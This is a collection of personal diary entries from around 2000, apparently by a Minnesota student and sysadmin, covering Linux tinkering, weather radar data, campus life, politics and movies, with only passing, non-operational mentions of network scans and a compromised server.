I think I finally found something to hack on -- porting Secure Locate to Solaris. It's a small codebase, so it shouldn't take too long, though I'll have to read a bunch of man pages to refresh my memory about all of those functions. I think I'll be annotating a lot of source, too..
I'm annoyed with [X]Emacs, and *vi*, so I was looking around for decent editors. gIDE seems to be coming along nicely, and the syntax highlighting actually works (though it seems slow...). Finally, a text editor where I don't have to have a QWERTY keyboard (*vi*) or learn horrendous keystrokes ([X]Emacs). Not perfect, but it's something I can live with.
Oops.. I'd better quit before I start an editor war..
Somewhat disappointed that there was no mention of the multi-State suit against Big Music on the national news tonight. I guess it's not surprising, but it sure seems to prove the biases we believe to be out there these days. In a similar vein, it's amazing what is happening in China. I mean, the son of the President of the country is running a Linux company over there. It's basically impossible for interesting things to not happen because of this.
I've said too much today.. I'll be quiet now.
Last night, I was asked to volunteer some time for the Minneapolis Independent Media Center. I think it's wonderful to have a media outlet that isn't influenced directly by corporate interests. However, the coverage that the various IMCs have been giving has been pretty heavily slanted towards covering protests and other action. It would be a waste for that to continue..
I remember watching the unveiling of Transmeta earlier this year (in RealVideo), and seeing how moronic the reporters were. The Transmeta guys went out and very clearly stated what they had done, and the reporters would go and ask questions that had already been clearly spelled out. Afterwards, I could tell which reporters had actually been there, and which ones were just reporting by reading reports.
The best reporters know a lot about what they're reporting on. Sometimes, the best person to report on a situation is not sitting there with a `Press' tag, but is just an interested observer.
Unfortunately, the IMC sites are just as susceptible to pranksters as Slashdot, kuro5hin, and Advogato.. I hope that they can find some fair-minded editors and contributors.
Hmm.. I'm probably spending too much time on diary entries. Better cut back. However, I just had to mention that Miguel de Icaza posted his OLS presentation. I knew that was what he was talking about, it's just that the people who reported on it in the beginning weren't very clear, and the Slashdotties went a bit nuts about it.
It's a wonderful article, and I hope Good Things will happen. However, I wonder how much of the old Unix/Linux will remain when it is all done.
I mentioned yesterday that there is a lot of interesting things going on in China. I see that there is now a story on the front page, and there was a Salon article about it today, saying essentially the opposite of what The Register posted yesterday..
Woke up late, and stayed at the apartment again. I should have tried to do some work, but I've been lacking focus lately. It was probably good to play hookey a bit. Unfortunately I read my e-mail late. I got an e-mail (sent late last night, after work) saying I had to be around to tell some electricians where they should put some 30 Amp plugs. After swearing at myself for being so unorganized, I put myself together, had a quick breakfast/lunch, and headed out. Fortunately, I think I got there before completely pissing them off.
I did find some music by Paul Oakenfold this morning. Well, it's hard to say `some music' when you're talking about Paul Oakenfold, since the guy produces mixes running for an hour or two. It's amazing stuff, and I'll have to see if I can pick up some of it on CD.
I've tried to make music on my computer in the past, but I completely suck at it. I'm sure this isn't helped by the fact that I'm too cheap to go out and find a CD or CD-ROM of decent sound/instrument samples out there (actually, I'm probably not too cheap for that -- I've just never looked). Anyway, I'm a person that really likes high-quality samples.. None of that mono 8kHz crap.. Besides, the music trackers I've found have usually been pretty crummy (though there are some shining stars out there). Of course, hell would freeze over before I'd pay $100-1000+ for a decent tracker (and I'd never want to have to use Windows...) At any rate, I doubt I have the talent required to produce anything interesting...
Also, I have to mention Katz's recent Academe, as I posted a comment about where I work..
The 12 Coins Problem: It's really easy if you have a balance with 3 platters. You can even do it in two weighings..
Oooh.. here we go -- ``The A&E guide to the late summer big studio movie toilet. Approach with caution.'' Space Cowboys: How bad is it? James Garner seems to be edging his way off the set. The Replacements: Survival Tip: You won't. Take strychnine.
Sometimes, the campus newspaper just rocks ;-)
Anyway, I'm really impressed with the level of political debate in the US these days (and it's amusing to watch the coverage of the Reform Party convention ;-). I think Nader (and the others too) is really getting people talking. Of course, this begs the question -- how many people are going to be in the debates? I remember that there were some debates already, just involving the Democratic and Republican candidates. IIRC, the Republicans had 5 candidates, and the moderator was making a valiant but vain attempt to keep order. That many candidates is very difficult to handle. But I think that if you let in Nader, it's only right to let in others, namely Buchanan (who I hate, just so you know) and Browne (and there are probably others). This is an interesting year, though the primary candidates are very un-interesting (IMHO).
The electricians are apparently going to take quite a while to get the three new 30A plugs in. They managed to do the conduit for one of the plugs yesterday. That's about it. Oh well, we plugged our Sun E425R into some regular jacks for the time being. Still crunching Seti@home packets instead of serving an Oracle DB. We still don't know when that will happen. We don't know what tools will be used in the database project, so the Oracle people won't come and install the db. I have to help research Java development environments. Oh fun.
Finally moved some data over and started using my 60 GB drive. I'm not sure how well ReiserFS is doing it's job, but the drive is extremely quiet. Nice. At work, I'm still torturing myself with an 800x600 display. I think this is part of the reason why I'm having trouble getting work done -- I can't get enough stuff on the screen at once to see what I'm doing.
Enough rambling. Time to do some work.
pcburns: A `whois 202.106.155.162@whois.apnic.net' indicates your scans came from the Beijing Province in China. Of course, they appear to be using the Internet Security Scanner, which is pretty silly, IMHO. ISS is messy and leaves a lot of tracks. However, it is good for doing security audits on your own systems.
More fun whois tricks: Add the line
198.41.0.8 whois.crsnic.net
to your /etc/hosts file, and you'll be able to look up whois entries without going to a webpage or using jwhois or whatever.
raph: I just have to say that the best solution I've seen to the problem of lack of reimbursement is by being involved in open source through an umbrella organization. You probably know everything I'm going to say, but I'm just going through the motions of writing down my thoughts on the subject...
This is probably easiest in the US Government(!), as much of the `intellectual property' created by the government is placed into the public domain. Beowulf really got its start this way, and there are plenty of other projects going on that involve the government that are or could be open source. Also, I'm not sure how many gov't employees have actually asked to make their projects open source..
Another place where this can work is when your work is funded by a university, though they seem to have that nasty habit of wanting to copyright it like ``Copyright the Regents of <university name here>.'' This is (at least partly) how the TeX/METAFONT fonts were funded and made.
And, obviously, you can do some work by working for some sort of business. OctobrX, Raster, and others are employed by Linux businesses, and they release a lot of graphics. I guess I haven't checked to see what sorts of licenses they want with them, but they don't really ask for any extra compensation, as they are already getting paid. Then again, I shouldn't attempt to put words in their mouths...
Well, I actually got out of the apartment today. Went `guy-shopping' with a friend of mine. To the computer shop (my friend needed a replacement 3" fan) and up to Best Buy. I got some music. Would have gotten more, but I'm always scared that I'll get crappy music. I suppose I can exercise the availability of Napster (et al) a little bit more..
This flap over Lieberman as V.P. nominee is confusing to me. I guess it'd be a bigger deal to me if I was Jewish, but I could really care less. The only interesting aspect of it is how it may affect US involvement in any Mid-East peace deals. Besides, Nader has a woman as his Veep nominee. She's a Native American -- Mississippi Band of the White Earth Anishinaabeg. Beat that with a stick.
As for open source stuff, I think I need to take a look at RIMPS and any other decent music playlist software. I need to set up something for my system that makes it easier to find music in my expanding collection (though I can't say I have many many gigabytes of it yet, though I now have the available disk space to start doing so). I did make a simple attempt of my own with PHP and MySQL, though I haven't really played with it for a few months..
Note to self: Learn how multicast works, and why my boxen will pick up all of the multicast data from a Ghost session when they aren't running Ghost clients. I'm not exactly sure how much extraneous data is getting pumped into my boxes right now, but the disk on my Debian box sure filled up quick by logging all of it. Debian has some pretty tight rules when it comes to firewalling, and they seem a little too tight right now...
I think I finally figured out why my NT box was so slow -- it was compressing all of the files on the hard disk. That would explain why the Cygwin installation took several hours...
I agreed to come into work early (~7:00 AM) to let the electricians into the server room. Oh fun. Better get to sleep soon if I have any chance of getting up in time.
I'm annoyed with myself for not getting into programming as much as I'd like. I'm not a whiz at it, but I'm not exactly a blockhead about it either. Oh well, I'll be taking some CSci classes starting next month, so maybe I'll become inspired..
Maybe.
I guess part of my problem is that there are so many different things that I'm interested in, and I can't focus on a single one very well. I spend a lot of time reading about this, that, and the other. Hours of my day are spend on news sites (both Computer news and Real Life news). I guess I just have to become less interested in the outside world and more interested in my local world, or something.
A girlfriend would help with that. I think. It's not like I have a lot of experience in that area... Blah.
Well, it wasn't so bad getting to work at 7:00, though it's fairly surprising how many people are alive pre-7:00. Morning people. Ugh.
I tried to install Win2K on a P133/64MB. It didn't work. Er, actually, it's been hung on the startup screen for the past 18 hours or so.
One of the things that really annoys me about the lack of Linux support among (some) hardware vendors is the fact that many of their engineers probably run Linux at work or at home. You'd think they'd have an incentive to produce Linux drivers. Either that, or Linux is not as popular in the technical community as I thought.
Regardless, Linux and *BSD are quite popular with the college crowd. Even Michael Dell knows that -- he says that nearly 15 percent of the user base at places like UNC is running Linux (though I don't know if I should quote Michael Dell for such numbers). I know that there are a lot of people who run it here at UMN, though there have been problems (security is an issue, as the U's networks are scanned pretty frequently).
Which reminds me -- I still have to figure out how to tell the admin for my apartment's network that it listens to broadcast ICMP echo-requests. Every day, I get those packets. It's annoying. Especially since whoever is doing it obviously doesn't know what he's doing. Sending 1 packet every 30 seconds.. Hello? What are you doing? Trying to smurf from a 14.4k modem? Sheesh. (BTW - I've asked my building management about this already, they don't want to give out the information about how to contact my admin, as they have to pay extra when someone gets called in. Perhaps I should tell them that the network has been used to (attempt to) DoS Yahoo!, among others..)
nymia: Did you actually mean WinMe? You can still use bash, can't you?
mrorganic: I'm guessing you either have a crappy video card or are using it in framebuffer mode? If you want performance, you need to let X access the hardware directly, and don't use the FBDev X server.
In the long run, I expect the framebuffer to be the `right' way to display things, but there doesn't seem to be a huge amount of effort being put into making it usable (but maybe I just don't pay much attention). The Accelerated Framebuffer Library apparently hasn't been updated since last year..
In other news, I'm listening to the Gnome Press Conference right now.. (er, well, I was until just a second ago.. RealPlayer sucks..)
nymia: I'm not sure if NT (which W2K is based on) ever had a DOS shell. It has something similar -- CMD.EXE, based upon CMD.EXE from OS/2.
I've always wondered if someone `famous' used Linux. Someone you'd know from TV or movies.
Also, I wonder why women don't seem to get into Linux or `the community'. Girls are usually a lot more social than guys, so it would seem that this is a really screwed up world we all live in. Then again, the girls I know are highly susceptible to gossip, which can easily destroy social circles..
Hmm. I used `girls' instead of `women'. Blah, I'm not feeling PC today.
Anyway, I'm currently trying to do some wacky NFS sharing that is going to involve mounting loopback filesystems and other weird nonsense. There's probably another solution which is easier, but I haven't found that one yet.
Well, the loopback filesystem trick actually works (the problem was that the disk being shared didn't have enough space left, and it was supposed to be pretty much an exact mirror of another system. Symlinks to another filesystem don't work all that well with NFS, but maybe I could have still found a way..). Never thought I'd find a real use for loopback devices (other than viewing ISOs that haven't been burned and whatnot..). Then again, I guess a loopback fs is an important part of those bootable business cards, among other things.
Spent much of the afternoon mucking with TCP Wrappers on Solaris. Some of the daemons just don't want to run from tcpd.. Annoying..
I see that there are versions of tcpd that support IPv6. Might be fun to play with.. I've been interested in IPv6 for a long time, but it's only now really getting any use on the Internet at large. Debian 2.2 supports it though. Hopefully it will finally start to displace IPv4.
Kind of along the lines of why we need IPv6, I'm always scared by the DSL and Cable modem setups where you essentially get 25% efficiency WRT addresses. The lower number is the network number, the higher is the broadcast. The two left over are gateway and client IP. Scary..
And this brings me to a question I've had for a long time -- is there a system for NAT in IPv6? Ideally, this won't be necessary, but we all know that the service providers will only want to give you a single address if at all possible, meaning that they can bilk you for cash if you want more than one computer on your connection..
Annoying companies..
It's raining, and I'm getting interested in how Free Software can be used to distribute weather information. There's a system called EMWIN that I've looked at before, but I don't have the time/money/hardware to play with it. The best way to get info right now is probably to have a satellite downlink. They have a moderately powerful transmitter up there, so the dishes only have to be 2-3 ft in diameter. Not as small as the digital satellite TV dishes, but not exactly huge.
The important thing is that you can get real-time or at least close-to-real-time data, which is often better than what you can say for most of the current Internet sources. With EMWIN, you can get notified of watches and warnings at the same time as or earlier than your local TV and radio stations. Weatherguys.com is largely powered by EMWIN data.
At any rate, I have been wondering if the National Weather Service will make at least some radar data publically available on the Internet after some contracts expire at the end of next month. It looks like they have defined the layout for how things will be on their FTP server. This sort of thing is a prime candidate for mirroring and multicasting.
gtaylor: I've actually been using METAR data as the source for weather info on my home page for quite a while using a modified METAR Perl module. The version I use is laying around on my website somewhere..
At any rate, I seem to be able to retrieve NEXRAD radar data via FTP (wget works, though interactive clients (Netscape, ncftp, etc) can't handle it for some reason). I went looking around and found that the good folks at Goddard Space Flight Center have made some software available (much of it is GPLed) that can render radar data. Still working out some bugs..
In this process, I discovered that my fairly new ReiserFS /usr partition had been (slightly) corrupted. /usr/src/linux/include/asm/param.h had suddenly turned into a binary file, and all attempts to remove it would produce kernel panics and deadlocked processes. Fun. Even better -- reiserfsck wouldn't compile on my system (signal 11). Oh fun. Fortunately, I got it to compile on another box, and ran reiserfsck --rebuild-tree, which scared me a lot with it's warnings of it only being a beta-quality option.
In the end, it appears that all has turned out well, though I think there are a few files missing from that partition (param.h, for example). At some point, I'll have to try and run a RPM verify job, make sure that there aren't huge problems..
Anyway, I'll have to do some debugging with the radar package I downloaded. I think I may be missing a package. Shouldn't configure catch that?
I shouldn't have, but I wrote something to Fred Moody. Cripes. The guy has `sources' that span a continent of hatreds. NT guys that hate Linux. BSD guys that hate Linux. Security guys that say having source code is a risk. Guys that say having source is a good thing. He has managed to make just about the most self-contradictory article ever. Is he insane? Well, I wouldn't blame him for going a little nuts after having to read what many /. trolls sent him, but this goes above and beyond...
Anyway, I shouldn't waste my diary entry on that.
schoen: Yeah, I felt pretty much like that. Didn't get much work done today after seeing that. I was hoping for a good outcome, but the judge couldn't or wouldn't try to test the Constitutionality of it. It'll pretty much go to the Supremes whether we like it or not. Hopefully, the MPAA won't try to completely stall the case (though I expect they will).
On the radar data front, I have been slowly digging up information about data formats. There's a bit here and here. I'm not sure if the data available over FTP is currently being encrypted or not. Apparently, they have designated times when it is not encrypted to facilitate testing of software. The encryption will be removed once everyone is able to receive over FTP or some sort of multicast. There's an older system called NIDS that has to be phased out before everything can be publically available.. Kind of strange. The RSL system apparently can't decode the products that NOAA is currently releasing, and I don't know if it ever will -- it seems to understand a more raw form of data.
Anyway, I hope I'll be able to find some software to decode the stuff that will be available over FTP. Either that, or I'll just have to keep hunting for decent documentation about the file formats...
Grr. I wish Mapquest had an option for making biker-friendly maps and directions. It should basically ignore interstate highways (which are illegal to bike on, unless you have a permit or something), and add bike trails.
I want to go see The Cell tonight. I am still pissed about the MPAA-DeCSS debacle, but I'm in need of some mind-bending.
I ended up riding my bike out to a theater in a nearby suburb in order to watch The Cell. It was both cool and not. Like with many movies, I'd already seen many of the best visuals in the ads, which was disappointing. Also, you could tell that Jennifer Lopez was trying to hide her accent, which was just annoying..
I remember that I had read too many reviews of The Matrix before seeing it, which spoiled much of the experience. It was still a cool movie, but I wasn't as surprised by what happened as everyone else was.
Seen on the web: LAPD Harassed Philly Mayor's Aide. ``We don't treat our guests in Philadelphia this way,'' the Mayor said. A lot of people would disagree.
I'm wondering if/when Kuro5hin will be resurrected. It was an interesting site.
There are a lot of different methods for distributing news and information popping up on the Internet. You have the traditional media, where the editors tell reporters what to do. You have places like Slashdot, where individuals tell editors about interesting things they've seen. Then there are places like Kuro5hin, where news is moderated before being released to everyone. Advogato requires a certain level of trust for people to be able to post news. The Independent Media Centers largely have an open policy where basically anyone can post.
In my opinion, a combination of these techniques is required. Certain reporters could gain trust and basically post whatever they want. People who are less trusted probably need to go through at least a thin layer of moderation and filtering. Perhaps everything should go through a kuro5hin-style moderation. Then again, it may be hard for the trust levels to work appropriately. For instance, if you have a general news site that suddenly starts getting input from a well-known reporter from a well-known newspaper, would they instantly become trusted and able to post anything? I suppose it depends on the audience.
If the readers get much of their news from corporate media outlets, they'd probably mark the reporter much higer than if the readers were more interested in the independent media.
Just some random thoughts..
Went home for a little bit. Tried to go to an `all-school' reunion, which was really dull as I was probably the youngest person there (most people there graduated in the 50's, 60's and 70's, I think). Oh well, got some decent food.
We have this research box at work. I was told that it was for `fraud detection', which I thought meant that it was some sort of honeypot box for detecting crackers (or at least script kiddies). I completely forgot that there is such a thing as financial fraud, which is what the box is for. Makes sense, as the box is in the business school.
Anyway, the main guy that actually uses this box for doing research is apparently back from summer vacation or something. He tried accessing it, but couldn't because there is a rule somewhere on one of our routers blocking that IP (I get `!X's when doing traceroutes from the box). Of course, nobody wants to take the blame/responsibility for it, and I couldn't get the block removed (well, the main networking people said it wasn't their problem, and the guys here say that they didn't do anything either). Changed the IP address, and now we have to see if the DNS entry can be changed..
I hope I will be able to do some more fiddling with radar data, though I don't know if I will be able to do anything this week (Marching Band starts on Thursday), and I don't even know what their schedule is for producing unencrypted data. I might just have to wait until the end of next month.
Well, it turns out that the central networking people foobared -- they actually were blocking the above-mentioned system. I guess it got broken into a month ago. I'll have to see if I can pull down a [rd]ecent Linux ISO of some kind to do a reinstall. Maybe Mandrake..
I had to try and figure out how to back up the system in a reasonable manner. tar is supposed to support running over some sort of remote shell, but none of the commands I tried would work. In theory, you should be able to do something like `tar cvIf user@host:/path/to/archive.tar.bz2 /path/to/archive', which would be really cool, IMHO.
Wow claudio. That's kind of a scary picture. I'm not exactly sure what kind I am. I try to avoid non-free software (Netscape is my big exception right now), I like point-and-click, though I understand (and use) the power of the command line (well, don't forget the fact that all graphical file managers for Linux are currently crap). I'm running bash2, and I'm a .tar.gz or .tar.bz2 person.
As for my xterms, I run with reverse-video white on black, and with ls aliased to ls --color=tty -F. I've also hacked up my own /etc/DIR_COLORS file. I remember some point a year or so ago when someone jokingly made `ls.themes.org'. I thought that was a great idea ;-)
In the area of documentation, I like it when programs are completely intuitive, or if they at least have some decent usage information when started with --help. However, I hate it when I want to look at the more advanced parts of programs, but I can't because of inadequate docs in /usr/doc or the man pages. I also hate info pages, unless I'm viewing them through gnome-help-browser.
Anyway, I'm having all sorts of trouble with this fraud detection box. Well, that's making it sound really bad. It was actually a pretty easy install. Unfortunately, the IP address it is using has been administratively blocked on one of the routers to the outside world. Getting that fixed has been pretty difficult. I do have it running on two different IPs right now, so at least it can be accessed. However, the DNS entry doesn't point to the publically accessible address. Oh well.
Hmm. `publicly' and `publically' are both correct spellings, according to M-W..
krftkndl: I, too, have heard the call of `just write another one,' and rejected it. However, I think there really are enough people pissed off about the current state of text editors that they would love to do that. But I just can't help thinking that someone has already made the editor I really, really want..
In the meantime, I'm counting down the minutes until I leave today. I'm not coming into work again until school starts (~10 days). I'm going to be really busy for the next week and a half...
``We will bury you,'' or something to that effect: LinuxToday links to the story. Does this mean I gotta boycott Sony? Dammit...
Well, I see I haven't posted for quite a while. I've been busy with Marching Band and the first week of classes. My apartment is now fully populated (4 people), though we are still in the process of setting everything up. We've got a nice stereo system going (really good receiver with Dolby Digital), and have two computers hooked up to it. I still have to find a good way to get MP3s playing, though. Both computers are not very close to the stereo itself -- you have to get up and wander over somewhere to change the playlist or anything. Oh well.
I had been working on a simple MP3 server web interface, though I don't know if that will ever bear fruit. I'll probably just use RIMPS or a similar piece of software.
I'm having some trouble adjusting to the fact that my computer is not in my bedroom this year. While it's nice to fall asleep without the background noise of my computer, it's annoying because I haven't been able to keep up with my e-mail very well. I unsubscribed from some LiViD mailing lists that I'd been on for a long time, but I got tired of wading through messages that weren't very interesting to me..
Anyway, people I know will just have to deal with the fact that I will not respond as quickly as I usually do..
I'm sick. This sucks. I was just getting over another illness when this one came along. I could barely function yesterday, and I seem to be doing a little better today. We'll have to see how things go.. Anyway, I've been as inactive as possible, trying to let my immune system do its thing.
I was happy a few days ago when I whipped up a little phono jack switch. One input to two different outputs. Not that it was very hard to do or anything. Now I just have to do some soldering and put it in a small box..
Well, I haven't been keeping up with this. Being sick for a month doesn't help things.. Oh well, I'll have to see if I can get back on this horse.
I totally screwed up a CSci assignment today. I was supposed to download a Word(!) document, fill in relevant parts, and hand it in.. Oh well, it's still early in the year, and I still have plenty of time to make up for stupid mistakes. Hopefully, I'm done with stupid mistakes for this semester.
I don't know what it is, but school really seems to take a lot out of me. Even if I don't do anything (or maybe it's because I don't do anything), I get really tired. I should really get into an exercise routine (heh, like that'll happen).
The exciting event over the weekend was that Ralph Nader had a fairly large rally here on Friday. I paid my $7 to get in. Apparently, 12000 people is (or was as of Friday, they're still having rallies) the largest gathering of individuals paying to listen to a Presidential candidate. Not that it means we gave a whole lot of money -- they got about $110k (entry cost plus donations once in the door). Still, it's a much better deal for me than those $25k/plate dinners that some candidates have (*cough* *cough*).
Anyway, I'm having all sorts of fun bashing Sun here at work. We can't figure out how to use the 100Base-T network card in our new server. Fun. My boss had hooked up our tape drive to the system without realizing it only ran at 10Mb. Our backups are running several times slower these days.
As always, I keep hoping that I'll get motivated to help out on some open source projects. Someday it'll happen..
Found out about a semi-new TV channel in town, KSTC 45. There have been all of these strange `Hi, I'm Gregory and I'm 45' posters and ads all over town. It's kind of neat, as it is supposed to be an independent station with a local focus. Unfortunately, they're owned by Hubbard Broadcasting, a company that owns about 10 stations (and they at least used to have a DBS network). It's just hard to call a station like that `independent' (of course, they mean that it will not have a network affiliation
Well, well, well. I was disappointed in the US Presidential debates. Only 2 candidates. Sheesh.
There was a small rally on campus for Nader, which I participated in. We got about 75 people. Not huge, but decent. There were a few reporters (at least one each for newspaper, radio, and TV), but I haven't seen much coverage yet [picture]. There have been polls saying that about 75% of the public thinks that adding a third candidate would have made the debates more interesting. I understand that Dan Rather essentially called last night's debates a snorefest...
Anyway, on to some non-political stuff. For one of my CSci classes, I (along with a group) have to write some simple malloc() and free() routines. It was really funny how we did most of the development -- Borland Turbo C++ version 3.0 for DOS. DOS does not have sbrk(). DOS does not have 32-bit pointers. Anyway, we moved the files over to a Unix box to finish things up. We got them to compile, and a test program appeared to not crash, so maybe it actually works. At any rate, we still have to put in some code for checking for overruns and underruns (we have special buffers that contain a particular pattern. If the pattern fails somehow, we know that there was a problem). Hopefully we'll get it done by the due date and time (midnight on Thursday).
Well, I've been away for a while. It happens. Anyway, I've been playing with all sorts of things. I wrote a small game for my Palm for one of my classes. It's based on an old PC game where the object was to drop depth charges on submarines passing below the surface. The old PC game was just an animated terminal game. At least on the Palm you can get graphics ;-) Then, as now, the name of the game was Depth Charge (pretty lame, but obvious). I'll try and post a copy of the source somewhere pretty soon.
Another thing that has really been bothering me lately is my lack of portable music. I have an old CD player that is probably due for a replacement. There are a lot of MP3 players out there, but they are all spendy and don't play Vorbis files (AFAIK). When I can wander down the street and pick up 128MB of PC133 memory for $60, you'd think that it would be cheap and easy to get slower memory for portable music devices (of course, you have to get non-volatile memory, or spend all of your batteries refreshing the bits). If only I knew how to build this sort of thing...
Paying $200-$300 for a device that can only play an hour of music is absurd to me.
Of course, I wonder how these devices that do exist actually work. I haven't seen many of them in use, especially not the ones with huge storage capacities. I don't think the hierarchical filesystem model is quite the right way to access the files -- it would probably be better to build a database that reads all of the ID3 tags, allowing you to look by album, artist, title, genre, etc. Of course, how many of us actually have appropriate ID3 tags? I thought so...
I'm debating whether the best way to talk to one of these things is via ethernet or USB. USB works for lots of people, but some of us don't have USB ports that are known to be working (I think I accidentally plugged mine in backwards at some point -- they are on an add-on slot in my computer, much like the old PS/2 and COM/LPT ports were. Anyway, I burned out a mouse by doing something wrong..). Ethernet is probably a little easier to do, though it may be unsafe if you are in a dorm or something, where others could notice when one of these things broadcasts it's presence. (of course, the appropriate thing to do would be to print out a DHCP'ed address on the LCD, rather than broadcasting that info -- not plug-n-play, but safer)
Something like the ucSimm would be nice, but I understand that doesn't have enough CPU power to handle decoding of much of anything more complicated than ADPCM. Perhaps something based off of a StrongARM or another low-power general-purpose cpu. Of course, I don't know how much floating-point processing is required for this stuff..
Can't write much -- I have to go to a meeting for one of my CSci classes soon. I've been busy trying to get my computer from falling to pieces. I installed ReiserFS when I got a big 60 GB hard drive a few months ago. It worked for a while, but it seemed to be unstable. Of course, it doesn't help that I play around quite a bit. Right now, I'm running 2.4.0-test9 with reiserfs patched on. Anyway, I spent the morning copying files back and forth between partitions, and doing mkreiserfs when I could. I think things are a little more stable now.
In the whole process, I noticed that my ipchains rules were not running -- I forgot to insert a module (blah!). I'll have to dig around and see if anyone managed to break into my system through the holes that I covered up with those ipchains rules...
What's the deal with the new markup languages using lowercase tags? I got used to doing them all in uppercase (they're easier to see that way, IMHO). Oh well, I guess I just have to re-train myself. Hell, if I can learn the Dvorak keyboard layout, I can do my HTML tags `right'...
Speaking of Dvorak, I wonder if I should spend some dough on a decent Dvorak keyboard. I have a keyboard now that just allowed me to move the keys around, but I'd like one that is actually designed for it.. Sort of. Then again, with the way I've been doing things before, it seems like I'm more in need of an ergonomic mouse than an ergonomic keyboard. Damn Solitaire ;-)
I also need a new sound card (I think). My system bus is running at 112MHz right now (x3.5 = 392MHz clock speed ;-). I'm supposed to have an AMD K6-2 350, but I just wanted to bump that up a bit.. Anyway, having an old ISA SB16 hanging on my computer probably doesn't do anything good for my system..
Well, gotta go..
Well, I went out and got myself the top-of-the-line SoundBlaster card. Now I just have to figure out if I'll ever use much of it. Upside: audio decoding is now a non-issue. It's amazing how much processing time can be taken up just waiting for the ISA bus. No more scratchy sounds when I scroll a window while music is playing. Bonus: this card appears to have much better shielding (far less line noise), too.
Anyway, my SoundBlaster Live! Platinum 5.1 with the Live!Drive IR (IR=infraraed -- it comes with a remote ;-) is pretty cool. All sorts of damn connectors. I looked around the web for software (there's hardly anything out there for it, other than the generic SB Live drivers). Anyway, with this, I'm basically ready for anything. It can be connected to/from MiniDisc systems (and others that use the optical connection), and it has other S/P-DIF connections. Midi is easily accessible on the front, along with an extra headphone jack and two line inputs (well, one can also work as a mic input).
One piece of software I did find was a bare-bones utility for setting up the `routing' of audio. I'm not sure if it works at all, but with all of these connectors, you have to worry about where everything is actually going! Anyway, all sorts of fun will probably be had, once there is actually some software out there that works ;-)
Fortunately, I had predicted that I would be getting a Live! card of some kind, so I had compiled the drivers in my last kernel upgrade. Not so good was that at least one of my hard drives appeared to be failing. When I attempted to power-up again, the system started choking dramatically. In the end, though, it appears that everything worked out. I've decided to get rid of ReiserFS on my /home partition -- it's just too unstable to use on my important files. I am using it on my /usr and /media (where I put all of my music and videos) partitions. If I lose that stuff, it's just a re-install or a matter of re-ripping a lot of CDs.. I just don't want to lose my mail, writings, code, etc.
I played around with RIMPS the other day. Someone decided that it was a 1.0 release. Still has a few bugs to work out. Non-numeric characters in the `Year' field in any ID3 tags cause it to break, for instance. It also doesn't produce a nice stream like I want. I want to have an interface that makes a playlist that I can click on and get a continuously-running stream. Hook it in to IceCast or something. I guess I may still have to build something on my own.
Just saw Gladiator last night. Very good movie, though we only got to see it on VHS. Still, I'm not sure how I feel about DVDs. They usually look good, but sometimes the video quality is not so hot -- especially when you're looking at a field of color with only small variations.. The DeCSS mess still makes me stay away from buying them, though I will watch them. Good audio and widescreen encoding are two very good things.
Anyway, I liked the soundtrack, too, so I snarfed the files off the 'net. I kind of hate doing that, though, since many people do not encode things very well. I had to re-download a few files, but what I have sounds pretty good. I may still go out and buy the CD, though. One problem is that it is a score which doesn't quite seem to be the same as a soundtrack. One song blends right into the next, which means that it seems that you start in the middle of a song, even if it's the beginning of a track. I wonder if I can do something with Ogg Vorbis and concatenate the files together in any good way. It might be good to make a trivial stream format (ie, a special stream consisting of just one frame) that is put at the beginning of a file, telling where each track begins and ends. That way, the entire disc is in one big file, but you can easily find each track. Putting each track into a separate file causes blips between each one, which isn't good in this case (I also have the same problem with a Paul Oakenfold CD I bought).
I was bored enough to dig through all of my MP3s and fix much of what was wrong with the filenames and ID3 tags. I just put `a', `an', and `the' at the end, rather than the beginning, of song titles and band names. I also made sure that prepositions (words like `of', `on', `in', etc.) were not capitalized (except in a few cases). Deciding who the actual artist is, though, remains a challenge. I wish I could just say ``These three people are all the artists that made this song,'' rather than just saying one of them, and then putting in a comment or something. Also, I really need to pick up some good ID3v2 utilities and anything that can handle the info in Vorbis files. Then, I need to whip up a decent database that can read all of that, detect errors in filenames and tags (fix the case of letters, move `a', `an', and `the' off the front, correctly handle numbers in names, etc). Ugh. I'll never manage to do it... I already have a simple database system that I could extend, but I don't know if I ever will..
Bleh. It's been a while since I've written. Which is okay, since I haven't done any programming in that time (well, I did finish up a really annoying group project for one of my annoying CSci classes. I'm so glad I passed that damn annoying class. Can you tell I'm annoyed?)
I went to the MicronPC.com bowl in the University of Minnesota Marching Band. Got a nice t-shirt. Stayed in a nice hotel. Got $78 for food (whee! steak!). Watched 4 hours of an utterly boring game where we lost after leading in the first quarter by something like 24 points...
To be expected...
It was really interesting when we traveled to Florida and back, since our original charter plane had been grounded for some reason or another. We ended up packetizing the band by taking 3 planes down (plus a few people on a 4th plane) and 3 planes back.
Anyway..
Finally got DRI working like it's supposed to.. Who knew that you actually had to add that `Mode 0666' line in the DRI section of XF86Config -- I thought that was only a suggestion... I also discovered that DRI doesn't work very well when your resolution is weird. I like to run my display at 1320x992, since it produces square pixels on the screen while keeping the same amount of desktop space as 1280x1024. When you run at 1280, things get squeezed and pulled by about 5%, so they don't look quite right anymore.
I had fun installing Debian on an old SparcServer 20 at work earlier this week. It's pretty slow, but it's not terrible, since it has two processors. I set it up to run X windows and share the keyboard and mouse with my P133 Linux box with x2x (I understand you can do the same thing with a Windows box and a Unix box with x2vnc). It's really nice to have smooth mouse movement on a Sun for once ;-)
Other than that, not much happening here, except people are slowly trickling back onto campus. A female friend of mine responded to a note I sent her a while back. There seems to be a strange tone to it, though I guess the note I sent her had a strange tone to it too. She was (probably jokingly) lamenting her love life.
It's probably best to cut off that train of thought...
I'm thinking of going to see Antitrust tonight. I just hope I can hit the buses right. Not having a car sucks. Then again, parking at the U of MN is impossible, so it all evens out..
Well, I did go see Antitrust. I don't highly recommend it. Definitely a rental, unless you want to see the (usually very quick) screen shots in their full resolution.. If you want that, go see a matinee or watch it at a second-run theater.
I think the baseline story was good, it's just that the writer and director didn't quite know how to piece it together. I went and read a number of reviews, and I think many agree that there were some very good bits in it. A lot of them understood what the movie was supposed to be, and that the packaging just turned out to be pretty bad (although it looked good). Okay, the packaging was really, really bad. Ryan Phillippe? Why, God, why? A bunch of the sideline characters would have played the starring roles far better. There was one guy that helped introduce Phillippe's character (Milo) to the office that I thought really should have been played out much more. He had one of the best lines in the movie: ``You have a girlfriend? Like a real three-dimensional girlfriend? That's really rare around here, man.''
Also, the techie bits were pretty good. It looked like the f/x people actually listened to John Hall. It was kind of funny though, since some of the screenshots were based around Gnome, others appeared to be from CDE or something (the good guys used Gtk/Gnome, the evil guys appeared to use Motif).
